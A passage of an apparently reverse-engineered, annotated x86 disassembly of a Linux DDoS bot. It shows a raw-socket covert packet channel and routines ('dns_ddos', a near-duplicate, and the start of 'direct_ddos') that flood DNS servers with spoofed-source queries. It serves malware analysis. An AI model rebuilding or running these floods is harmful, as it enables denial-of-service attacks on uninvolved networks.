eax, [ebp+packet_byte2] push eax call sub_8049564 add esp, 34h push 0 call exit_ lea esi, [esi+0] usleep_and_loop: ; CODE XREF: real_start+1A5j ; real_start+1B4j ... push 2710h ; default call usleep add esp, 4 jmp loc_80482B0 real_start endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sent_packet_sig3_peers proc near ; CODE XREF: real_start+2AFp ; real_start+5ABp var_C = byte ptr -0Ch ip_dst_ptr = dword ptr 8 ip_data_ptr = dword ptr 0Ch ip_data_size = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+ip_dst_ptr] mov edi, [ebp+ip_data_size] cmp ds:packet_byte2_saved, 0 jz short packet_byte2_saved_is_0 mov ebx, eax lea esi, [ebx+24h] ; there are 10 ip addresses lea esi, [esi] loc_8048EE8: ; CODE XREF: sent_packet_sig3_peers+3Ej push 0FA0h call usleep ; usleep(4000) push edi ; ip_data_size mov edx, [ebp+ip_data_ptr] push edx ; ip_data_ptr push ebx ; ip_dst_ptr push offset ouraddr_D ; ip_src_ptr call send_packet_sig3 add esp, 14h add ebx, 4 ; ip_dst_ptr points to an array of addresses cmp ebx, esi jle short loc_8048EE8 jmp short loc_8048F20 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 packet_byte2_saved_is_0: ; CODE XREF: sent_packet_sig3_peers+13j push edi ; ip_data_size mov edx, [ebp+ip_data_ptr] push edx ; ip_data_ptr push eax ; ip_dst_ptr push offset ouraddr_D ; ip_src_ptr call send_packet_sig3 loc_8048F20: ; CODE XREF: sent_packet_sig3_peers+40j mov eax, 1 ; return 1 lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sent_packet_sig3_peers endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+0Ch] mov ebx, [ebp+8] xor ecx, ecx mov word ptr [ebp-2], 0 cmp edx, 1 jle short loc_8048F5C lea esi, [esi] loc_8048F4C: ; CODE XREF: .text:08048F5Aj movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8048F4C loc_8048F5C: ; CODE XREF: .text:08048F48j cmp edx, 1 jnz short loc_8048F6C mov al, [ebx] mov [ebp-2], al movzx eax, word ptr [ebp-2] add ecx, eax loc_8048F6C: ; CODE XREF: .text:08048F5Fj mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp-2], ax and eax, 0FFFFh mov ebx, [ebp-8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame send_packet_sig3 proc near ; CODE XREF: sent_packet_sig3_peers+31p ; sent_packet_sig3_peers+4Fp var_50 = byte ptr -50h sock = dword ptr -44h malloc_20_ptr = dword ptr -40h malloc_ptr = dword ptr -3Ch malloc_22_ptr = dword ptr -38h checksum = word ptr -32h ip_dst_str = byte ptr -30h sockaddr_family = word ptr -10h sockaddr_port = word ptr -0Eh sockaddr_ip = dword ptr -0Ch ip_src_ptr = dword ptr 8 ip_dst_ptr = dword ptr 0Ch packet_data = dword ptr 10h packet_data_size= dword ptr 14h push ebp mov ebp, esp sub esp, 44h push edi push esi push ebx mov ebx, [ebp+ip_dst_ptr] push 0FFh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto IPPROTO_RAW mov [ebp+sock], eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short return0 ; error, return 0 mov eax, [ebp+packet_data_size] add eax, 17h push eax call malloc ; malloc(ip_data_size + 23) mov esi, eax add esp, 4 test esi, esi jnz short malloc_ok return0: ; CODE XREF: send_packet_sig3+23j xor eax, eax ; error, return 0 jmp exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 malloc_ok: ; CODE XREF: send_packet_sig3+38j mov [ebp+malloc_ptr], esi lea edi, [esi+14h] mov [ebp+malloc_20_ptr], edi lea edi, [esi+16h] mov [ebp+malloc_22_ptr], edi mov edi, [ebp+ip_src_ptr] mov al, [edi] ; copy src ip and dst ip address to the malloc buffer (building a IP packet) mov [esi+0Ch], al mov al, [edi+1] mov [esi+0Dh], al mov al, [edi+2] mov [esi+0Eh], al mov al, [edi+3] mov [esi+0Fh], al mov al, [ebx] mov [esi+10h], al mov al, [ebx+1] mov [esi+11h], al mov al, [ebx+2] mov [esi+12h], al mov al, [ebx+3] mov [esi+13h], al movzx eax, byte ptr [ebx+3] ; ebx is ip_dst_ptr push eax movzx eax, byte ptr [ebx+2] push eax movzx eax, byte ptr [ebx+1] push eax movzx eax, byte ptr [ebx] push eax ; push ip_dst push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+ip_dst_str] push ebx call sprintf ; get a string with the dst ip address push ebx call gethostbyname_ mov [ebp+sockaddr_ip], eax mov [ebp+sockaddr_port], 0Ah ; port 2560 mov [ebp+sockaddr_family], 2 ; AF_INET mov byte ptr [esi], 45h ; ip header field mov byte ptr [esi+8], 0FAh ; set TTL to 250 mov byte ptr [esi+9], 0Bh ; set protocol to 0x0B add esp, 1Ch mov ax, word ptr [ebp+packet_data_size] add ax, 16h xchg al, ah mov [esi+2], ax ; ip_len = ip_data_size + 22 mov byte ptr [esi+1], 0 ; TOS = 0 call random xchg al, ah mov [esi+4], ax ; set the ip id to a random byte mov word ptr [esi+6], 0 ; ip fragment field mov word ptr [esi+0Ah], 0 ; ip checksum mov edx, 14h mov ecx, esi xor ebx, ebx mov [ebp+checksum], 0 loc_8049094: ; CODE XREF: send_packet_sig3+10Ej movzx eax, word ptr [ecx] add ebx, eax add ecx, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049094 jnz short loc_80490B1 mov al, [ecx] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ebx, eax loc_80490B1: ; CODE XREF: send_packet_sig3+110j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+checksum], ax mov edi, [ebp+malloc_ptr] mov [edi+0Ah], ax ; set ip checksum mov edi, [ebp+malloc_20_ptr] mov byte ptr [edi], 3 ; packet signature 3 mov edi, [ebp+packet_data_size] push edi mov edi, [ebp+packet_data] push edi mov edi, [ebp+malloc_22_ptr] push edi call memcpy ; copy the encrypted data to the payload section of the new packet add esp, 0Ch push 10h ; socklen_t tolen lea eax, [ebp+sockaddr_family] push eax ; struct sockaddr* to push 0 ; flags mov eax, [ebp+packet_data_size] add eax, 16h push eax ; len push esi ; msg* mov edi, [ebp+sock] push edi ; sock call sendto add esp, 18h cmp eax, 0FFFFFFFFh jnz short loc_8049118 push esi call free xor eax, eax jmp short exit ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049118: ; CODE XREF: send_packet_sig3+178j mov edi, [ebp+sock] push edi call __libc_close push esi call free mov eax, 1 exit: ; CODE XREF: send_packet_sig3+3Cj ; send_packet_sig3+182j lea esp, [ebp+var_50] pop ebx pop esi pop edi mov esp, ebp pop ebp retn send_packet_sig3 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame gethostbyname_ proc near ; CODE XREF: send_packet_sig3+A6p name = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+name] push eax call gethostbyname mov ecx, eax add esp, 4 test ecx, ecx jz short loc_804916C mov eax, [ecx+10h] mov edx, [eax] ; hostent->h_addr_list[0] mov eax, [ecx+0Ch] ; h_length push eax push edx push offset h_addr call memcpy mov eax, ds:h_addr mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804916C: ; CODE XREF: gethostbyname_+13j xor eax, eax mov esp, ebp pop ebp retn gethostbyname_ endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame dns_ddos proc near ; CODE XREF: real_start+684p ; real_start+AEEp var_680 = byte ptr -680h var_674 = dword ptr -674h dns_queries_index= dword ptr -670h addr_of_dns_server= dword ptr -66Ch resolve_counter = dword ptr -668h sleep_counter = dword ptr -664h addr_of_udp_data= dword ptr -660h addr_of_source_port= dword ptr -65Ch sock = dword ptr -658h random_server = dword ptr -654h ip_addr_A = byte ptr -650h ip_addr_B = byte ptr -64Ch ip_addr_C = byte ptr -648h ip_addr_D = byte ptr -644h var_63E = word ptr -63Eh ip_addr = dword ptr -63Ch ip_packet = byte ptr -638h src_ip_addr_D = byte ptr -62Ch src_ip_addr_C = byte ptr -62Bh src_ip_addr_B = byte ptr -62Ah src_ip_addr_A = byte ptr -629h source_port = byte ptr -624h udp_data = byte ptr -61Ch sockaddr_family = word ptr -228h sockaddr_port = word ptr -226h dns_server_ip = dword ptr -224h dns_queries_copy= byte ptr -218h dns_queries_sizes_copy= dword ptr -24h ip_addr_D_ = byte ptr 8 ip_addr_C_ = byte ptr 0Ch ip_addr_B_ = byte ptr 10h ip_addr_A_ = byte ptr 14h sleep_interval = dword ptr 18h port_hi = dword ptr 1Ch port_lo = dword ptr 20h do_resolve = dword ptr 24h hostname = dword ptr 28h push ebp mov ebp, esp sub esp, 674h push edi push esi push ebx mov bl, [ebp+ip_addr_D_] mov [ebp+ip_addr_D], bl mov bl, [ebp+ip_addr_C_] mov [ebp+ip_addr_C], bl mov bl, [ebp+ip_addr_B_] mov [ebp+ip_addr_B], bl mov bl, [ebp+ip_addr_A_] mov [ebp+ip_addr_A], bl lea edi, [ebp+dns_queries_sizes_copy] mov esi, offset dns_queries_sizes cld mov ecx, 9 repe movsd ; copy the size array mov [ebp+random_server], 1 lea edi, [ebp+dns_queries_copy] mov esi, offset dns_queries cld mov ecx, 7Dh repe movsd lea esi, [ebp+ip_packet] lea ebx, [ebp+source_port] mov [ebp+addr_of_source_port], ebx lea ebx, [ebp+udp_data] mov [ebp+addr_of_udp_data], ebx mov [ebp+sockaddr_family], 2 mov [ebp+sockaddr_port], 0 cmp [ebp+sleep_interval], 0 jz short loc_804920A dec [ebp+sleep_interval] loc_804920A: ; CODE XREF: dns_ddos+91j push 0FFh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto IPPROTO_RAW mov [ebp+sock], eax add esp, 0Ch test eax, eax jle loc_8049548 ; return on error mov [ebp+sleep_counter], 0 mov [ebp+resolve_counter], 0 push 400h push 0 push esi call memset ; set ip_packet to all 0's add esp, 0Ch lea esi, [esi+0] infinite_dos_loop: ; CODE XREF: dns_ddos+140j ; dns_ddos+3CDj xor edi, edi ; try_again_flag = 0 cmp [ebp+do_resolve], 0 jz short skip_resolve cmp [ebp+resolve_counter], 0 jg short skip_resolve ; if do_resolve=0 or resolved_counter>0, skip the resolve mov ebx, [ebp+hostname] push ebx call gethostbyname ; packet_copy contains the name to be resolved mov edx, eax add esp, 4 test edx, edx jnz short does_resolve push 258h ; does not resolve call sleep ; sleep for 10 minutes mov edi, 1 ; try_again_flag = 1 add esp, 4 jmp short skip_resolve ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 does_resolve: ; CODE XREF: dns_ddos+FDj push 4 lea eax, [ebp+ip_addr] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy ; copy the resolved address to ip_addr mov eax, [ebp+ip_addr] mov [esi+0Ch], eax ; put address in ip_packet + 0x0C (source_addr) mov [ebp+resolve_counter], 9C40h ; send 40000 packets before resolving again add esp, 0Ch skip_resolve: ; CODE XREF: dns_ddos+E2j dns_ddos+EBj ... test edi, edi jnz short infinite_dos_loop xor edi, edi mov [ebp+dns_queries_index], 0 lea esi, [esi] nine_queries_loop: ; CODE XREF: dns_ddos+3C7j cmp [ebp+random_server], 1 ; for (edi=0; edi < 9; edi++) jnz short don_use_random mov [ebp+random_server], 0 call __random mov ebx, 1F40h cdq idiv ebx ; edx is a random number between 0 and 7999 jmp short loc_80492EA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 don_use_random: ; CODE XREF: dns_ddos+157j xor edx, edx loc_80492EA: ; CODE XREF: dns_ddos+170j cmp dword ptr dns_servers[edx*4], 0 jz next_query lea edx, ds:806D22Ch[edx*4] mov [ebp+addr_of_dns_server], edx lea esi, [esi+0] loc_8049308: ; CODE XREF: dns_ddos+3B6j mov ebx, [ebp+addr_of_dns_server] mov eax, [ebx] mov [ebp+dns_server_ip], eax mov ebx, [ebp+dns_queries_index] lea edx, [ebp+ebx+dns_queries_copy] mov eax, [ebp+edi*4+dns_queries_sizes_copy] push eax ; the size is taken from dns_queries_sizes_copy[edi*4] push edx ; dns_queries_copy[ebx] is source mov ebx, [ebp+addr_of_udp_data] push ebx ; udp_data is destination call memcpy add esp, 0Ch call __random mov ebx, 0FFh cdq idiv ebx ; random number between 0 and 254 mov ebx, [ebp+addr_of_udp_data] mov [ebx], dl ; random first byte of DNS packet (identification) call __random mov ebx, 0FFh cdq idiv ebx mov ebx, [ebp+addr_of_udp_data] mov [ebx+1], dl ; random second byte of DNS packet (identification) cmp [ebp+port_hi], 0 jnz short loc_8049380 cmp [ebp+port_lo], 0 jnz short loc_8049380 call __random mov ebx, 7530h cdq idiv ebx mov eax, edx ; eax is random number between 0 and 29999 jmp short loc_804938A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049380: ; CODE XREF: dns_ddos+1F3j ; dns_ddos+1F9j mov eax, [ebp+port_hi] shl eax, 8 add ax, word ptr [ebp+port_lo] ; eax = packet6_ << 8 + (u_int16_t)packet7_ loc_804938A: ; CODE XREF: dns_ddos+20Aj xchg al, ah ; htons mov ebx, [ebp+addr_of_source_port] mov [ebx], ax mov ebx, [ebp+addr_of_source_port] mov word ptr [ebx+2], 3500h ; dest_port = 53 mov ax, word ptr [ebp+edi*4+dns_queries_sizes_copy] add ax, 8 xchg al, ah mov [ebx+4], ax ; udp_length mov word ptr [ebx+6], 0 ; udp_checksum cmp [ebp+do_resolve], 0 jnz short loc_80493EC mov bl, [ebp+ip_addr_D] ; take the source IP address from packet bytes 2-5 mov [ebp+src_ip_addr_D], bl mov bl, [ebp+ip_addr_C] mov [ebp+src_ip_addr_C], bl mov bl, [ebp+ip_addr_B] mov [ebp+src_ip_addr_B], bl mov bl, [ebp+ip_addr_A] mov [ebp+src_ip_addr_A], bl loc_80493EC: ; CODE XREF: dns_ddos+246j mov ebx, [ebp+addr_of_dns_server] mov eax, [ebx] mov [esi+10h], eax ; destination ip address mov byte ptr [esi], 45h ; ip version/length call __random mov ebx, 82h cdq idiv ebx add dl, 78h mov [esi+8], dl ; TTL = random number between 120 and 249 call __random mov ebx, 0FFh cdq idiv ebx mov [esi+4], dx ; ip id = random between 0 and 254 mov byte ptr [esi+9], 11h ; ip protocol = UDP mov word ptr [esi+6], 0 ; ip frag mov ax, word ptr [ebp+edi*4+dns_queries_sizes_copy] add ax, 1Ch xchg al, ah mov [esi+2], ax ; ip total length = 28 + dns_query_size mov word ptr [esi+0Ah], 0 ; ip header checksum mov edx, 14h lea ebx, [ebp+ip_packet] mov [ebp+var_674], ebx xor ecx, ecx mov [ebp+var_63E], 0 lea esi, [esi+0] loc_804945C: ; CODE XREF: dns_ddos+302j mov ebx, [ebp+var_674] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+var_674], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804945C jnz short loc_804948B mov al, [ebx] mov byte ptr [ebp+var_63E], al movzx eax, [ebp+var_63E] add ecx, eax loc_804948B: ; CODE XREF: dns_ddos+304j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+var_63E], ax mov [esi+0Ah], ax ; ip header checksum push 10h lea eax, [ebp+sockaddr_family] push eax ; struct sockaddr* to push 0 ; flags mov eax, [ebp+edi*4+dns_queries_sizes_copy] add eax, 1Ch push eax ; len = 28 + dns_query_size lea eax, [ebp+ip_packet] push eax ; char* msg mov ebx, [ebp+sock] push ebx ; sock call sendto add esp, 18h cmp [ebp+sleep_interval], 0 jnz short dont_usleep push 12Ch call usleep ; usleep(300) jmp short loc_8049507 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 dont_usleep: ; CODE XREF: dns_ddos+366j mov ebx, [ebp+sleep_interval] cmp [ebp+sleep_counter], ebx jnz short loc_8049514 push 12Ch call usleep mov [ebp+sleep_counter], 0 loc_8049507: ; CODE XREF: dns_ddos+372j dec [ebp+resolve_counter] add esp, 4 jmp short loc_804951A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049514: ; CODE XREF: dns_ddos+37Dj inc [ebp+sleep_counter] loc_804951A: ; CODE XREF: dns_ddos+39Cj add [ebp+addr_of_dns_server], 4 mov ebx, [ebp+addr_of_dns_server] cmp dword ptr [ebx], 0 jnz loc_8049308 next_query: ; CODE XREF: dns_ddos+17Ej add [ebp+dns_queries_index], 32h inc edi cmp edi, 8 jle nine_queries_loop ; try 9 times (edi = 0..8) jmp infinite_dos_loop ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049548: ; CODE XREF: dns_ddos+AFj mov ds:child_pid, 0 xor eax, eax lea esp, [ebp+var_680] pop ebx pop esi pop edi mov esp, ebp pop ebp retn dns_ddos endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8049564 proc near ; CODE XREF: real_start+D72p var_698 = byte ptr -698h var_68C = dword ptr -68Ch var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_67C = dword ptr -67Ch var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_664 = byte ptr -664h var_660 = byte ptr -660h var_65C = byte ptr -65Ch var_658 = byte ptr -658h var_654 = byte ptr -654h var_64E = word ptr -64Eh var_64C = dword ptr -64Ch var_648 = byte ptr -648h var_628 = byte ptr -628h var_61C = byte ptr -61Ch var_61B = byte ptr -61Bh var_61A = byte ptr -61Ah var_619 = byte ptr -619h var_618 = byte ptr -618h var_617 = byte ptr -617h var_616 = byte ptr -616h var_615 = byte ptr -615h var_614 = byte ptr -614h var_60C = byte ptr -60Ch var_228 = word ptr -228h var_226 = word ptr -226h var_224 = dword ptr -224h var_218 = byte ptr -218h var_24 = dword ptr -24h arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = byte ptr 10h arg_C = byte ptr 14h arg_10 = byte ptr 18h arg_14 = byte ptr 1Ch arg_18 = byte ptr 20h arg_1C = byte ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h arg_2C = dword ptr 34h arg_30 = dword ptr 38h push ebp mov ebp, esp sub esp, 68Ch push edi push esi push ebx mov bl, [ebp+arg_0] mov [ebp+var_654], bl mov bl, [ebp+arg_4] mov [ebp+var_658], bl mov bl, [ebp+arg_8] mov [ebp+var_65C], bl mov bl, [ebp+arg_C] mov [ebp+var_660], bl mov bl, [ebp+arg_10] mov [ebp+var_664], bl mov bl, [ebp+arg_14] mov [ebp+var_668], bl mov bl, [ebp+arg_18] mov [ebp+var_66C], bl mov bl, [ebp+arg_1C] mov [ebp+var_670], bl lea edi, [ebp+var_24] mov esi, offset dns_queries_sizes cld mov ecx, 9 repe movsd lea edi, [ebp+var_218] mov esi, offset dns_queries cld mov ecx, 7Dh repe movsd lea edi, [ebp+var_628] lea ebx, [ebp+var_614] mov [ebp+var_678], ebx lea ebx, [ebp+var_60C] mov [ebp+var_67C], ebx mov [ebp+var_228], 2 mov [ebp+var_226], 0 cmp [ebp+arg_2C], 0 jnz short loc_8049645 movzx eax, [ebp+var_660] push eax movzx eax, [ebp+var_65C] push eax movzx eax, [ebp+var_658] push eax movzx eax, [ebp+var_654] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+var_648] push eax call sprintf add esp, 18h loc_8049645: ; CODE XREF: sub_8049564+ABj cmp [ebp+arg_20], 0 jz short loc_804964E dec [ebp+arg_20] loc_804964E: ; CODE XREF: sub_8049564+E5j push 0FFh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto IPPROTO_RAW mov [ebp+var_674], eax add esp, 0Ch test eax, eax jle loc_80499D8 mov [ebp+var_680], 0 mov [ebp+var_684], 0 push 400h push 0 push edi call memset add esp, 0Ch lea esi, [esi+0] loc_8049694: ; CODE XREF: sub_8049564+19Aj ; sub_8049564+46Fj xor esi, esi cmp [ebp+arg_2C], 0 jz short loc_80496FC cmp [ebp+var_684], 0 jg short loc_80496FC mov ebx, [ebp+arg_30] push ebx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_80496CC push 258h call sleep mov esi, 1 add esp, 4 jmp short loc_80496FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80496CC: ; CODE XREF: sub_8049564+151j push 4 lea eax, [ebp+var_64C] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+var_64C] mov [edi+10h], eax mov [ebp+var_224], eax mov [ebp+var_684], 9C40h add esp, 0Ch loc_80496FC: ; CODE XREF: sub_8049564+136j ; sub_8049564+13Fj ... test esi, esi jnz short loc_8049694 xor esi, esi mov [ebp+var_688], ebp loc_8049708: ; CODE XREF: sub_8049564+469j cmp [ebp+arg_2C], 0 jnz short loc_8049723 lea eax, [ebp+var_648] push eax call inet_addr mov [ebp+var_224], eax add esp, 4 loc_8049723: ; CODE XREF: sub_8049564+1A8j mov edx, [ebp+var_688] add edx, 0FFFFFDE8h mov eax, [ebp+esi*4+var_24] push eax push edx mov ebx, [ebp+var_67C] push ebx call memcpy add esp, 0Ch call __random mov ebx, 0FFh cdq idiv ebx mov ebx, [ebp+var_67C] mov [ebx], dl call __random mov ebx, 0FFh cdq idiv ebx mov ebx, [ebp+var_67C] mov [ebx+1], dl cmp [ebp+arg_24], 0 jnz short loc_804978C cmp [ebp+arg_28], 0 jnz short loc_804978C call __random mov ebx, 7530h cdq idiv ebx mov eax, edx jmp short loc_8049796 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804978C: ; CODE XREF: sub_8049564+20Fj ; sub_8049564+215j mov eax, [ebp+arg_24] shl eax, 8 add ax, word ptr [ebp+arg_28] loc_8049796: ; CODE XREF: sub_8049564+226j xchg al, ah mov ebx, [ebp+var_678] mov [ebx], ax mov ebx, [ebp+var_678] mov word ptr [ebx+2], 3500h mov ax, word ptr [ebp+esi*4+var_24] add ax, 8 xchg al, ah mov [ebx+4], ax mov word ptr [ebx+6], 0 cmp [ebp+var_664], 0 jnz short loc_804983C cmp [ebp+var_668], 0 jnz short loc_804983C cmp [ebp+var_66C], 0 jnz short loc_804983C cmp [ebp+var_670], 0 jnz short loc_804983C call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+var_61C], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+var_61B], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+var_61A], dl call __random mov dl, al cmp dl, 0FFh setnb al add dl, al mov [ebp+var_619], dl jmp short loc_804986C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804983C: ; CODE XREF: sub_8049564+265j ; sub_8049564+26Ej ... mov bl, [ebp+var_664] mov [ebp+var_61C], bl mov bl, [ebp+var_668] mov [ebp+var_61B], bl mov bl, [ebp+var_66C] mov [ebp+var_61A], bl mov bl, [ebp+var_670] mov [ebp+var_619], bl loc_804986C: ; CODE XREF: sub_8049564+2D6j cmp [ebp+arg_2C], 0 jnz short loc_80498A2 mov bl, [ebp+var_654] mov [ebp+var_618], bl mov bl, [ebp+var_658] mov [ebp+var_617], bl mov bl, [ebp+var_65C] mov [ebp+var_616], bl mov bl, [ebp+var_660] mov [ebp+var_615], bl loc_80498A2: ; CODE XREF: sub_8049564+30Cj mov byte ptr [edi], 45h call __random mov ebx, 82h cdq idiv ebx add dl, 78h mov [edi+8], dl call __random mov ebx, 0FFh cdq idiv ebx mov [edi+4], dx mov byte ptr [edi+9], 11h mov word ptr [edi+6], 0 mov ax, word ptr [ebp+esi*4+var_24] add ax, 1Ch xchg al, ah mov [edi+2], ax mov word ptr [edi+0Ah], 0 mov edx, 14h lea ebx, [ebp+var_628] mov [ebp+var_68C], ebx xor ecx, ecx mov [ebp+var_64E], 0 loc_8049904: ; CODE XREF: sub_8049564+3BAj mov ebx, [ebp+var_68C] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+var_68C], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049904 jnz short loc_8049933 mov al, [ebx] mov byte ptr [ebp+var_64E], al movzx eax, [ebp+var_64E] add ecx, eax loc_8049933: ; CODE XREF: sub_8049564+3BCj mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+var_64E], ax mov [edi+0Ah], ax push 10h lea eax, [ebp+var_228] push eax push 0 mov eax, [ebp+esi*4+var_24] add eax, 1Ch push eax lea eax, [ebp+var_628] push eax mov ebx, [ebp+var_674] push ebx call sendto add esp, 18h cmp [ebp+arg_20], 0 jnz short loc_8049990 push 12Ch call usleep jmp short loc_80499AF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049990: ; CODE XREF: sub_8049564+41Ej mov ebx, [ebp+arg_20] cmp [ebp+var_680], ebx jnz short loc_80499BC push 12Ch call usleep mov [ebp+var_680], 0 loc_80499AF: ; CODE XREF: sub_8049564+42Aj dec [ebp+var_684] add esp, 4 jmp short loc_80499C2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80499BC: ; CODE XREF: sub_8049564+435j inc [ebp+var_680] loc_80499C2: ; CODE XREF: sub_8049564+454j add [ebp+var_688], 32h inc esi cmp esi, 8 jle loc_8049708 jmp loc_8049694 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80499D8: ; CODE XREF: sub_8049564+103j mov ds:child_pid, 0 xor eax, eax lea esp, [ebp+var_698] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8049564 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame direct_ddos proc near ; CODE XREF: real_start+74Ep var_AC = byte ptr -0ACh sockaddr_addr = dword ptr -0A0h msglen = dword ptr -9Ch sock = dword ptr -98h ip_src_C = byte ptr -94h ip_src_B = byte ptr -90h ip_src_A = byte ptr -8Ch ip_dst_D = byte ptr -88h ip_dst_C = byte 